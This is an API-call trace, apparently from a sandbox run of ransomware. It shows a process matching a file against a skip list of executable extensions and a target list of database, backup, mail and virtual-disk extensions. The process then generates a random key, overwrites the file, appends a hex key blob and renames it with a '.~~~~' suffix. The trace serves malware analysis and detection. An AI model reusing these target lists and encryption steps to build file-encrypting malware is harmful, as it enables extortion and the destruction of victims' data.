	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DBX") returned 0x0
	[0141.937] lstrlenW (lpString=".MDT") returned 4
	[0141.937] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".MDT") returned 0x0
	[0141.938] lstrlenW (lpString=".SQB") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".SQB") returned 0x0
	[0141.938] lstrlenW (lpString=".vhd") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".vhd") returned 0x0
	[0141.938] lstrlenW (lpString=".bac") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".bac") returned 0x0
	[0141.938] lstrlenW (lpString=".mdf") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".mdf") returned 0x0
	[0141.938] lstrlenW (lpString=".BAK") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".BAK") returned 0x0
	[0141.938] lstrlenW (lpString=".BAC") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".BAC") returned 0x0
	[0141.938] lstrlenW (lpString=".dbs") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dbs") returned 0x0
	[0141.938] lstrlenW (lpString=".vhdx") returned 5
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.938] lstrlenW (lpString=".NDF") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".NDF") returned 0x0
	[0141.938] lstrlenW (lpString=".dat") returned 4
	[0141.938] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dat") returned 0x0
	[0141.938] lstrlenW (lpString=".DBS") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DBS") returned 0x0
	[0141.939] lstrlenW (lpString=".CKP") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".CKP") returned 0x0
	[0141.939] lstrlenW (lpString=".edb") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".edb") returned 0x0
	[0141.939] lstrlenW (lpString=".PST") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".PST") returned 0x0
	[0141.939] lstrlenW (lpString=".dbf") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dbf") returned 0x0
	[0141.939] lstrlenW (lpString=".SQL") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".SQL") returned 0x0
	[0141.939] lstrlenW (lpString=".pst") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".pst") returned 0x0
	[0141.939] lstrlenW (lpString=".dbv") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dbv") returned 0x0
	[0141.939] lstrlenW (lpString=".SDF") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".SDF") returned 0x0
	[0141.939] lstrlenW (lpString=".dtxs") returned 5
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.939] lstrlenW (lpString=".db3") returned 4
	[0141.939] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".db3") returned 0x0
	[0141.940] lstrlenW (lpString=".OST") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".OST") returned 0x0
	[0141.940] lstrlenW (lpString=".dbx") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dbx") returned 0x0
	[0141.940] lstrlenW (lpString=".DB3") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DB3") returned 0x0
	[0141.940] lstrlenW (lpString=".DAT") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DAT") returned 0x0
	[0141.940] lstrlenW (lpString=".VHDX") returned 5
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.940] lstrlenW (lpString=".ndf") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".ndf") returned 0x0
	[0141.940] lstrlenW (lpString=".DB") returned 3
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DB") returned 0x0
	[0141.940] lstrlenW (lpString=".sql") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".sql") returned 0x0
	[0141.940] lstrlenW (lpString=".MYD") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".MYD") returned 0x0
	[0141.940] lstrlenW (lpString=".DBT") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DBT") returned 0x0
	[0141.940] lstrlenW (lpString=".ACCDB") returned 6
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.940] lstrlenW (lpString=".fdb") returned 4
	[0141.940] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".fdb") returned 0x0
	[0141.941] lstrlenW (lpString=".bak") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".bak") returned 0x0
	[0141.941] lstrlenW (lpString=".myd") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".myd") returned 0x0
	[0141.941] lstrlenW (lpString=".DTXS") returned 5
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.941] lstrlenW (lpString=".ckp") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".ckp") returned 0x0
	[0141.941] lstrlenW (lpString=".dbt") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".dbt") returned 0x0
	[0141.941] lstrlenW (lpString=".db") returned 3
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".db") returned 0x0
	[0141.941] lstrlenW (lpString=".TXT") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".TXT") returned 0x0
	[0141.941] lstrlenW (lpString=".MDF") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".MDF") returned 0x0
	[0141.941] lstrlenW (lpString=".bdb") returned 4
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".bdb") returned 0x0
	[0141.941] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.941] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906418
	[0141.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.942] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x394b08) returned 1
	[0141.943] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.943] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.944] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26193380344) returned 1
	[0141.944] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbe02da10, dwHighDateTime=0x1d60e1e)) 
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3680
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3680 | out: hHeap=0x300000) returned 1
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cf1f0
	[0141.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37b878
	[0141.945] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0141.945] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0141.945] GetLastError () returned 0x0
	[0141.945] GetLastError () returned 0x0
	[0141.945] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0141.945] GetLastError () returned 0x0
	[0141.945] GetLastError () returned 0x0
	[0141.946] ReadFile (in: hFile=0xc4, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x178c, lpOverlapped=0x0) returned 1
	[0141.948] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe874, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.948] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x178c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x178c, lpOverlapped=0x0) returned 1
	[0141.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0141.948] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.948] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.949] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.949] CloseHandle (hObject=0xc4) returned 1
	[0141.949] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0141.949] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48f.gif.~~~~")) returned 1
	[0141.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf1f0 | out: hHeap=0x300000) returned 1
	[0141.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.955] GetLastError () returned 0x0
	[0141.955] RtlWakeConditionVariable () returned 0x0
	[0141.955] GetCurrentThreadId () returned 0x9f4
	[0141.955] GetCurrentThreadId () returned 0x9f4
	[0141.955] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aec08
	[0141.955] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a9018 | out: hHeap=0x300000) returned 1
	[0141.956] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3450 | out: hHeap=0x300000) returned 1
	[0141.956] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a9018
	[0141.956] lstrlenW (lpString=".scr") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".scr") returned 0x0
	[0141.956] lstrlenW (lpString=".cmd") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".cmd") returned 0x0
	[0141.956] lstrlenW (lpString=".dll") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dll") returned 0x0
	[0141.956] lstrlenW (lpString=".bat") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".bat") returned 0x0
	[0141.956] lstrlenW (lpString=".cpl") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".cpl") returned 0x0
	[0141.956] lstrlenW (lpString=".sys") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".sys") returned 0x0
	[0141.956] lstrlenW (lpString=".msc") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".msc") returned 0x0
	[0141.956] lstrlenW (lpString=".com") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".com") returned 0x0
	[0141.956] lstrlenW (lpString=".lnk") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".lnk") returned 0x0
	[0141.956] lstrlenW (lpString=".msp") returned 4
	[0141.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".msp") returned 0x0
	[0141.956] lstrlenW (lpString=".pif") returned 4
	[0141.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".pif") returned 0x0
	[0141.957] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir50b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0141.959] lstrlenW (lpString=".sqb") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".sqb") returned 0x0
	[0141.959] lstrlenW (lpString=".ost") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".ost") returned 0x0
	[0141.959] lstrlenW (lpString=".txt") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".txt") returned 0x0
	[0141.959] lstrlenW (lpString=".mdt") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".mdt") returned 0x0
	[0141.959] lstrlenW (lpString=".BDB") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".BDB") returned 0x0
	[0141.959] lstrlenW (lpString=".eql") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".eql") returned 0x0
	[0141.959] lstrlenW (lpString=".DBF") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DBF") returned 0x0
	[0141.959] lstrlenW (lpString=".EQL") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".EQL") returned 0x0
	[0141.959] lstrlenW (lpString=".FDB") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".FDB") returned 0x0
	[0141.959] lstrlenW (lpString=".EDB") returned 4
	[0141.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".EDB") returned 0x0
	[0141.960] lstrlenW (lpString=".DACPAC") returned 7
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.960] lstrlenW (lpString=".VHD") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".VHD") returned 0x0
	[0141.960] lstrlenW (lpString=".DBV") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DBV") returned 0x0
	[0141.960] lstrlenW (lpString=".dacpac") returned 7
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dacpac") returned 0x0
	[0141.960] lstrlenW (lpString=".sdf") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".sdf") returned 0x0
	[0141.960] lstrlenW (lpString=".accdb") returned 6
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".accdb") returned 0x0
	[0141.960] lstrlenW (lpString=".DBX") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DBX") returned 0x0
	[0141.960] lstrlenW (lpString=".MDT") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".MDT") returned 0x0
	[0141.960] lstrlenW (lpString=".SQB") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".SQB") returned 0x0
	[0141.960] lstrlenW (lpString=".vhd") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".vhd") returned 0x0
	[0141.960] lstrlenW (lpString=".bac") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".bac") returned 0x0
	[0141.960] lstrlenW (lpString=".mdf") returned 4
	[0141.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".mdf") returned 0x0
	[0141.960] lstrlenW (lpString=".BAK") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".BAK") returned 0x0
	[0141.961] lstrlenW (lpString=".BAC") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".BAC") returned 0x0
	[0141.961] lstrlenW (lpString=".dbs") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dbs") returned 0x0
	[0141.961] lstrlenW (lpString=".vhdx") returned 5
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".vhdx") returned 0x0
	[0141.961] lstrlenW (lpString=".NDF") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".NDF") returned 0x0
	[0141.961] lstrlenW (lpString=".dat") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dat") returned 0x0
	[0141.961] lstrlenW (lpString=".DBS") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".DBS") returned 0x0
	[0141.961] lstrlenW (lpString=".CKP") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".CKP") returned 0x0
	[0141.961] lstrlenW (lpString=".edb") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".edb") returned 0x0
	[0141.961] lstrlenW (lpString=".PST") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".PST") returned 0x0
	[0141.961] lstrlenW (lpString=".dbf") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".dbf") returned 0x0
	[0141.961] lstrlenW (lpString=".SQL") returned 4
	[0141.961] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR50B.GIF", lpSrch=".SQL") returned 0x0
	[0141.961] lstrlenW (lpString=".pst") returned 4
